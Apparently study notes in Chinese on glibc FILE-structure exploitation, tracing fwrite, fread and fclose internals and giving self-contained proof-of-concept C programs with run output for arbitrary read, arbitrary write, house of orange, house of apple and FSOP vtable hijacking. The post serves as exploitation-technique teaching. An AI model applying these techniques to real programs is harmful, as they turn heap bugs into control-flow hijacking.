|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,//缓冲区写入文件,然后缓冲区复位
f->_IO_write_ptr - f->_IO_write_base) == EOF)//如果最后剩下的块比当时的缓冲区大,还是会造成文件io的
return EOF;
return (unsigned char) ch;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do) //count = new_do_write (f, s, do_write);
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); //调整文件指针
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //实际写,count是实际写入的字节数
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;

_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);//read_buf缓冲区参照buf复位

fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; //write_buf复位
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (char *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
if (f->_IO_write_ptr < f->_IO_write_end)
{//如果缓冲区有空
size_t count = f->_IO_write_end - f->_IO_write_ptr;
if (count > more)//如果缓冲区空地够大
count = more;
//到这里时,count<=more
if (count > 20)//要么mempcpy实现拷贝,要么循环实现
{
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
}
else if (count)
{
char *p = f->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_IO_write_ptr = p;
}
more -= count;
}
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
//如果more=0则不会执行后句,此时最后的剩余块也放到了缓冲区,不需要腾空了
//否则more>0表明还有剩下的,但是缓冲区此时满了,需要缓冲区写入文件,然后缓冲区复位
//然后重新把剩下的放到缓冲区中
break;
more--;
}
return n - more;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p *f
$4 = {
_flags = 2048,
_IO_read_ptr = 0x0,
_IO_read_end = 0x404038 <flag> "flag{secret}",
_IO_read_base = 0x0,
_IO_write_base = 0x404038 <flag> "flag{secret}",
_IO_write_ptr = 0x405038 <error: Cannot access memory at address 0x405038>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 1,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x1458790,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x14587a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}

fclose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
flose(_IO_new_fclose@glibc-2.23/libio/iofclose.c:38)
->_IO_un_link@glibc-2.23/libio/genops.c:58
//从_IO_list_all为首的单向链表上遍历找到并拆下这个_IO_FILE_plus,
->_IO_file_close_it@glibc-2.23/libio/fileops.c:157
->_IO_do_flush //缓冲区还有东西没打印出来,都给打出来
->_IO_do_write
->new_do_write
->vtable.__write
->write(linux api)

->_IO_un_link //这一次重复调用好像是多余的,可能防止之前有什么差错?
->vtable.__finish(_IO_new_file_finish)
->_IO_do_flush //第二次调用
...
->__close
->_IO_file_close_it //第二次调用
->_IO_default_finish
->free //释放对上占用的内存
->_IO_un_link //第三次调用

exploit

泄露

篡改fp的写缓冲区指针指向需要泄露的地址, 并篡改fp的文件描述符为标准输出, 触发一个缓冲区刷新, 即可打印泄露

1
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)

ptr 所指向的数组中的数据写入到给定流 stream 中。

写入size大小的单位nmemb

写一个poc意思意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <fcntl.h>
char secret[]="this is a secret";

int main(){
printf("flag @ %p\n",secret);

char buffer[0x100];
FILE *fp;
fp = fopen("./flag", "w"); // unset _IO_NO_WRITES to bypass checks in _IO_file_overflow
fp->_flags = 0x800; //IO_CURRENTLY_PUTTING bypass checks in _IO_file_overflow
fp->_IO_write_base = secret; //points to address that we want to leak
fp->_IO_read_end = secret; //IO_read_end must equals to write_base to bypass checks in new_do_write
fp->_IO_write_ptr = secret + sizeof(secret); //ptr - base contains our flag to leak
fp->_fileno = 1; //redirect to stdout

fwrite(buffer,0x100,0x1,fp);

return 0;
}

假设我们能够控制fp指向的FILE结构,并能改写其成员

我们希望通过设置fp->_IO_write_base = secret;触发调用链

1
2
3
4
5
6
7
fwrite
_IO_sputn => _IO_file_xsputn
_IO_OVERFLOW => _IO_file_overflow
=> _IO_new_do_write
=> new_do_write
=> _IO_file_write
=> __write

从而打印secret上的字符串

为了实现这一目的,还需要设置FILE的几个参数

-1.fp = fopen("./flag", "w");

这个fp要么以w打开,要么手动设置其flag |= ~0x8

总之不能有_IO_NO_WRITES, 这是因为_IO_file_overflow最开始会检查该标志, 防止对不可写的文件进行写入操作

1
2
3
4
5
6
7
8
9
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...

0.fp->_IO_write_base = secret;

最关键的一条,要泄露的地址

1.fp->_IO_write_ptr = secret + sizeof(secret);

与0紧密配合,_IO_OVERFLOW会将位于write_basewrite_ptr之间的内容刷新到缓冲区

要保证两者之间的距离大于flag长度

3.fp->_flags = 0x800;

1
fp->_flags = 0x800; //IO_CURRENTLY_PUTTING

这里是因为在函数_IO_file_overflow中,如果不设置该标志会进入一个条件分支,修改我们预设的_IO_write_base等一系列指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//_IO_new_file_overflow
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf(f);
_IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely(_IO_in_backup(f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area(f);
f->_IO_read_base -= MIN(nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}

4.fp->_IO_read_end = secret;

这条是为了绕过new_do_write中的检查,

要么_flags中有_IO_IS_APPENDING(0x1000)标志,

要么fp->_IO_read_end == fp->_IO_write_base

才能避免_IO_SYSSEEK的调用,因为_IO_SYSSEEK调用后new_pos == _IO_pos_BA,接下来就返回了

1
2
3
4
5
6
7
8
9
10
//new_do_write
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos = _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}

因此将flags置位_IO_IS_APPENDING也可以

1
fp->_flags = 0x800 | 0x1000;

FSOP方法

如果没有fwrite调用,也可以考虑利用FSOP方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <fcntl.h>
char secret[]="flag{dustball}";

int main(){
printf("flag @ %p\n",secret);

char buffer[0x100];
FILE *fp;
fp = fopen("./flag", "w");
fp->_flags = 0x800 | 0x1000; //IO_CURRENTLY_PUTTING
fp->_IO_write_base = secret;

// fp->_IO_read_end = secret; //IO_read_end must equals to write_base to overpass check in
fp->_IO_write_ptr = secret + sizeof(secret);
fp->_fileno = 1; //stdout

//no fwrite , however fp is linked to _IO_list_all, use FSOP
// fwrite(buffer,0x100,0x1,fp);

return 0;
}

任意地址写

写个poc意思意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <assert.h>
int key = 0x12345678;

int main(){
FILE *fp;
char buffer[100];

fp = fopen("./flag","r");
//fp -> _flags不能有IO_NO_READS,也不能有_IO_EOF_SEEN
fp -> _IO_read_ptr = 0;
fp -> _IO_read_end = 0;
fp -> _IO_buf_base = &key;
fp -> _IO_buf_end = &key + 4;
fp -> _fileno = 0;

fread(buffer,1,4,fp); //方向fp -> _IO_buf_base
printf("%p\n",key);
return 0;
}

假设我们能够控制fp指向的FILE结构,并能改写其成员

我们希望通过设置fp->_IO_buf_base = target_addr;触发调用链

1
2
3
4
5
6
fread
_IO_sgetn => _IO_file_xsgetn
__underflow
_IO_UNDERFLOW => _IO_file_underflow
_IO_SYSREAD => _IO_file_read
__read

从而实现往target_addr写入任意数据

为了实现这一目的,还需要设置fp的其他参数

-1.fp = fopen("./flag","r");

fp必须是有读权限的,或者手动设置flag,不能有IO_NO_READS(0x4)标志

同时不能有_IO_EOF_SEEN(0x10)

这是因为_IO_file_underflow会对flag进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

0.fp -> _IO_buf_base = &key;

任意地址写的关键

1.fp -> _IO_buf_end = &key + 4;

配合0,必须保证end和base之间的距离要大于fread写入的长度,

这是因为_IO_file_xsgetn中会检查这一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy(s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
s = __mempcpy(s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}

2.fp -> _IO_read_ptr = 0; && fp -> _IO_read_end = 0;

这是因为在_IO_file_underflow中会检查两者是否相等

1
2
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

3.fp -> _fileno = 0;

给予我们从标准输入获取任意字符到目标地址的权利

[house of orange @ glibc <= 2.23]

通过堆利用手段,控制堆上的FILE结构体,能够修改vtable指针,具体怎么堆利用,这不重要

重要的是把vtable指针修改为构造的假表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <fcntl.h>
void win(){
printf("function win called\n");
}
int main(){
FILE *fp;
size_t *fake_vtable;
size_t *vtable_ptr;
size_t *vtable_addr;

fake_vtable = malloc(0x100);
printf("fake_vtable @ %p\n", fake_vtable);
for(int i=0;i<20;i++){ // 我今天就是要把这假表狠狠塞满
fake_vtable[i] = (size_t)win;
}

fp = fopen("./flag","r");
printf("fp @ %p\n", fp);

//_IO_FILE_plus中vtable指针的偏移地址为0xd8
vtable_ptr = (char*)fp + 0xd8;
printf("vtable_ptr = %p\n", vtable_ptr);

//曾经的vtable指针
vtable_addr = vtable_ptr[0];
printf("original vtable_addr = %p\n", vtable_addr);

//修改vtable指针指向假虚表
*vtable_ptr = fake_vtable;
vtable_addr = vtable_ptr[0];
printf("new vtable_addr = %p\n", vtable_addr);

fclose(fp);
return 0;
}

ubuntu16.04 & glibc-2.23上实验,成功劫持了虚表

1
2
3
4
5
6
7
8
9
root@Executor:/mnt/c/Users/86135/Desktop/pwncollege/software/file/test# gcc orange.c -o orange -no-pie -g -no-pie -w
root@Executor:/mnt/c/Users/86135/Desktop/pwncollege/software/file/test# ./orange
fake_vtable @ 0x1690010
fp @ 0x1690530
vtable_ptr = 0x1690608
original vtable_addr = 0x7fd1b3f3c6e0
new vtable_addr = 0x1690010
function win called
function win called

同样的代码对于更高版本的glibc无效

1
2
3
4
5
6
7
8
9
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwncollege/software/file/test]
└─# ./orange
fake_vtable @ 0x123e2a0
fp @ 0x123e7c0
vtable_ptr = 0x123e898
original vtable_addr = 0x7f4da32ca070
new vtable_addr = 0x123e2a0
Fatal error: glibc detected an invalid stdio handle
Aborted (core dumped)

[house of apple @ glibc > 2.23]

针对虚表的攻击通常能够想到两种方式

1.保持虚表地址不变,修改虚表上的函数指针

2.造假虚表,然后修改虚表指针

对于1来说,虚表位于glibc的代码段,通常是只读的,不允许随便改函数指针

对于2来说,glibc2.23之前是可以劫持虚表指针的,相关攻击方法叫做house of orange

glibc2.24之后就加入了虚表的合法性检查

但也不是不能利用了,新方法叫house of apple

1
2
//https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L398
# define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
1
2
//https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/libioP.h#L133
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

IO_validate_vtable会检查虚表的合法性

这个虚表合法性检查会发生在何时呢?

fwrite实际上调用_IO_fwrite,if判断通过,会执行__IO_sputn

1
2
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)	//
written = _IO_sputn (fp, (const char *) buf, request); //

这里_IO_sputn是一个宏定义,会在检查vtable合法性之后调用vtable.xsputn函数

1
2
3
#define _IO_sputn(__fp,__s,__n) _IO_XSPUTN (__fp, __s, __n)
扩展到:
((IO_validate_vtable ((*(__typeof__ (((struct _IO_FILE_plus){}).vtable) *)(((char *) ((fp))) + __builtin_offsetof(struct _IO_FILE_plus, vtable)))))->__xsputn) (fp, (const char *) buf, request)

同理,不管fread还是fwrite实际上都会在经过vtable合法性检查后,调用vtable中的函数

1
2
3
4
5
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

虚表合法性检查了什么呢?

IO_validate_vtable会检查虚表是否是glibc预定义好的虚表

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

ptr = vtableFILE结构的虚表指针

const struct _IO_jump_t __io_vtables[]vtables.c中预定义好的虚表数组

libioP.h中暴露了这些虚表的引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
extern const struct _IO_jump_t __io_vtables[] attribute_hidden;
#define _IO_str_jumps (__io_vtables[IO_STR_JUMPS])
#define _IO_wstr_jumps (__io_vtables[IO_WSTR_JUMPS])
#define _IO_file_jumps (__io_vtables[IO_FILE_JUMPS])
#define _IO_file_jumps_mmap (__io_vtables[IO_FILE_JUMPS_MMAP])
#define _IO_file_jumps_maybe_mmap (__io_vtables[IO_FILE_JUMPS_MAYBE_MMAP])
#define _IO_wfile_jumps (__io_vtables[IO_WFILE_JUMPS])
#define _IO_wfile_jumps_mmap (__io_vtables[IO_WFILE_JUMPS_MMAP])
#define _IO_wfile_jumps_maybe_mmap (__io_vtables[IO_WFILE_JUMPS_MAYBE_MMAP])
#define _IO_cookie_jumps (__io_vtables[IO_COOKIE_JUMPS])
#define _IO_proc_jumps (__io_vtables[IO_PROC_JUMPS])
#define _IO_mem_jumps (__io_vtables[IO_MEM_JUMPS])
#define _IO_wmem_jumps (__io_vtables[IO_WMEM_JUMPS])
#define _IO_printf_buffer_as_file_jumps (__io_vtables[IO_PRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_wprintf_buffer_as_file_jumps (__io_vtables[IO_WPRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_old_file_jumps (__io_vtables[IO_OLD_FILE_JUMPS])
#define _IO_old_proc_jumps (__io_vtables[IO_OLD_PROC_JUMPS])
#define _IO_old_cookie_jumps (__io_vtables[IO_OLD_COOKIED_JUMPS])
1
2
3
4
#define IO_VTABLES_LEN (IO_VTABLES_NUM * sizeof (struct _IO_jump_t))
IO_VTABLES_NUM = 14
sizeof (struct _IO_jump_t) = 168
IO_VTABLES_LEN = 14*168 = 2352

也就是说一共有14个预定义的虚表

通常情况下使用的虚表是_IO_file_jumps = __io_vtables[IO_FILE_JUMPS]

IO_validate_vtable检查虚表必须是这14个其中之一,防止被用户劫持篡改指向了堆栈或者堆

如何绕过虚表检查呢?

当fread函数被调用时,调用过程是这样的:

1
2
3
4
5
6
7
_IO_fread
_IO_sgetn
_IO_XSGETN
JUMP2
_IO_JUMPS_FUNC
=> IO_validate_vtable
_IO_JUMPS_FILE_plus

IO_validate_vtable是必然被调用的,检查的是_IO_FILE_plus.vtable

然而在_IO_XSGETN宏定义这里还有一个兄弟叫_IO_WXSGETN

1
2
3
//glibc-2.38/libio/libioP.h:184
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
#define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)

这个兄弟宏定义展开发现是没有_IO_validate_vtable这种检查的,会直接调用到_IO_FILE._wide_data->_wide_vtable中的函数

1
2
3
4
5
_IO_WXSGETN
WJUMP2
_IO_WIDE_JUMPS_FUNC
_IO_WIDE_JUMPS
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

也就是说劫持_wide_vtable虚表指针是不会被检查的

_wide_data结构体位于libc的只读内存区中,无法修改其中的_wide_vtable,因此还需要伪造一个_wide_data

并且只劫持_wide_vtable还不够,因为正常情况下控制流是绝对不会进入任何一个宽字节相关函数的

所以还需要把_IO_FILE_plus.vtable改成IO_WFILE_JUMPS

最后再调用一个fwrite

接下来控制流是这样的:

1
2
3
4
5
6
7
8
9
fwrite
=> vtable+0x38
=> _IO_wfile_xsputn
=> _IO_wdefault_xsputn @ glibc/libio/wgenops.c
=> __woverflow
=> vtable+0x18
=> _IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE (wide_data.wide_vtable+0x68 => win )

总结

总的来说,需要干这么几步:

1
2
3
4
5
6
7
0.泄露libc基地址,计算得到_IO_wfile_jumps表的地址
1.构造fake_wide_vtable,在其中填充目标函数(关键是+0x68位置)
2.构造fake_wide_data,使得其偏移0xe0处的_wide_vtable指针吗,指向1中构造的fake_wide_vtable
3.修改FILE.flag |= ~(_IO_CURRENTLY_PUTTING | _IO_NO_WRITES | _IO_UNBUFFERED) // ~(0x800 | 0x8 | 0x2)
4.修改FILE.vtable指向3中泄露的_IO_wfile_jumps
5.修改FILE._wide_data指向2中构造的fake_wide_data
6.fwrite触发house of apple

这里复位了三个flag,各自的作用是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ //2.必须有写权限
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 //1.不能是_IO_CURRENTLY_PUTTING,这样就会进入本if从而调用到_IO_wdoallocbuf
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
1
2
3
4
5
6
7
8
9
10
11
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED)) //_IO_UNBUFFERED必须等于0才会进入本if,调用到_IO_WDOALLOCATE
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}

写个poc意思意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#define _NR_sysexit 0x3C
void win(){
printf("function win called\n" );
syscall(_NR_sysexit);
}

int main(){
size_t* libc_base_addr;
size_t* _IO_wfile_jumps;
size_t* fake_wide_vtable;
size_t* fake_wide_data;

FILE * fp;
size_t* vtable_ptr;
size_t* vtable_addr;
size_t* wide_data_ptr;
size_t* wide_data_addr;
size_t* wide_vtable_ptr;
size_t* wide_vtable_addr;

char buffer[100];

//0.泄露libc基地址,计算得到_IO_wfile_jumps表的地址
printf("function printf @ %p\n", printf);
libc_base_addr = (char*) printf - 0x54110; // printf offset @ glibc-2.38
_IO_wfile_jumps = (char*)libc_base_addr + 0x1d5268;
printf("_IO_wfile_jumps @ %p\n",_IO_wfile_jumps);


//1.构造fake_wide_vtable,使用win填充
fake_wide_vtable = malloc(0x100);
for(int i=0;i<20;++i){
fake_wide_vtable[i]=win;
}

//2.构造fake_wide_data,使得其偏移0xe0处的_wide_vtable指针,指向1中构造的fake_wide_vtable
fake_wide_data = malloc(0x100);
fake_wide_data[28] = fake_wide_vtable;

//3.修改FILE.flag |= ~(_IO_CURRENTLY_PUTTING | _IO_NO_WRITES | _IO_UNBUFFERED)
fp = fopen("./flag", "w");
fp->_flags |= ~(0x800 | 0x8 | 2);

//4.修改FILE.vtable指向3中泄露的_IO_wfile_jumps
vtable_ptr = (char*)fp + 0xd8;
*vtable_ptr = _IO_wfile_jumps;

//5.修改FILE._wide_data指向2中构造的fake_wide_data
wide_data_ptr = (char*)fp + 0xa0;
*wide_data_ptr = fake_wide_data;

//6.trigger house of apple
fwrite(buffer,1,100,fp);

fclose(fp);
return 0;
}

基于glibc2.38做实验,win函数被调用了

1
2
3
4
5
6
7
8
┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# gcc apple.c -o apple -g -no-pie -w

┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# ./apple
function printf @ 0x7f7e72eba110
_IO_wfile_jumps @ 0x7f7e7303b268
function win called

FSOP

上集说到,house of apple在构造好了FILE之后,还要对其进行一个fwrite等操作触发到_IO_wfile_overflow函数

在本集中,不需要调用fwrite等操作,也可以触发,相关攻击方式叫做FSOP(File Structure Oriented Programming)

程序退出时,会有这么一条调用链

1
2
3
4
5
6
exit
_run_exit_handlers
_IO_cleanup
_IO_flush_all
_IO_OVERFLOW
vtable + 0x18 => _IO_file_overflow

这个_IO_flush_all中会把_IO_list_all上挂着的都尝试一下_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

_IO_funlockfile (fp);
run_fp = NULL;
}

这里能够执行_IO_OVERFLOW的条件是下式为真

1
2
3
4
5
6
7
8
9
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 
||
(
_IO_vtable_offset(fp) == 0
&&
fp->_mode > 0
&&
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
)

翻译成人话就是下面两条有一条为真即可

1
2
1.如果fp->_mode<=0,还需要满足fp->_IO_write_ptr > fp->_IO_write_base
2.如果fp->_mode> 0,还需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

如果能够使用house of apple的方法,

使得的vtable指向_IO_wfile_jumps,然后构造wide_data,并使其wide_vtable指向假的虚表,假表相应位置填充win函数地址

然后将这个FILE挂到_IO_list_all链上

就可以调用到win函数

1
2
3
4
5
6
7
8
9
exit
_run_exit_handlers
_IO_cleanup
_IO_flush_all
_IO_OVERFLOW
vtable + 0x18 => _IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
wide_data.wide_vtable + 0x68 => win

写一个poc意思意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdio.h>
#define _NR_sysexit 0x3C
void win(){
printf("function win called\n" );
syscall(_NR_sysexit);
}

int main(){

FILE * fake_fp;
size_t * libc_addr;
size_t * IO_list_all_addr;
size_t * IO_wfile_jumps;
size_t * fake_wide_vtable;
size_t * fake_wide_data;
size_t * vtable_ptr;
size_t * wide_data_ptr;


//1.
//泄露libc基址,泄露IO_wfile_jumps地址,泄露IO_list_all地址
printf("function printf addr = %p\n", printf);
libc_addr = (char*) printf - 0x54110;
IO_list_all_addr = (char*) libc_addr + 0x1d74c0;
IO_wfile_jumps = (char*) libc_addr + 0x1d5268;
printf("libc_addr = %p\n", libc_addr);
printf("IO_list_all_addr = %p\n", IO_list_all_addr);
printf("IO_wfile_jumps = %p\n", IO_wfile_jumps);


//2.
//构造fake_wide_vtable
fake_wide_vtable = malloc(0x100);
for(int i=0;i<20;++i){
fake_wide_vtable[i] = win;
}


//3.
//构造fake_wide_data
fake_wide_data = malloc(0x100);
fake_wide_data[28] = fake_wide_vtable;



//4.
//构造fake_fp
fake_fp = malloc(0x100);
memset(fake_fp,0,0x100);
fake_fp -> _flags = ~(0x800 | 0x8 |0x2);
fake_fp -> _mode = 0;
fake_fp -> _IO_write_ptr = 1;
fake_fp -> _IO_write_base = 0;

vtable_ptr = (char*)fake_fp + 0xd8;
*vtable_ptr = IO_wfile_jumps;
wide_data_ptr = (char*)fake_fp + 0xa0;
*wide_data_ptr = fake_wide_data;

printf("fake_fp @ %p\n", fake_fp);
printf("orignal _IO_list_all points to %p\n", *IO_list_all_addr);


//
//5.fake_fp上链_IO_list_all
*IO_list_all_addr = fake_fp;
printf("new _IO_list_all points to %p\n", *IO_list_all_addr);


//6.
//return and trigger win
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# gcc fsop1.c -o fsop1 -w

┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# ./fsop1
function printf addr = 0x7fb0bbddc110
libc_addr = 0x7fb0bbd88000
IO_list_all_addr = 0x7fb0bbf5f4c0
IO_wfile_jumps = 0x7fb0bbf5d268
fake_fp @ 0x55fbae0cc8d0
orignal _IO_list_all points to 0x7fb0bbf5f4e0
new _IO_list_all points to 0x55fbae0cc8d0
function win called

如果能够控制fopen并且不fclose关闭资源则更简单,

fopen会自动让假fp上链,

fclose的话fp就不会下链,

因此此时程序退出,也可以触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
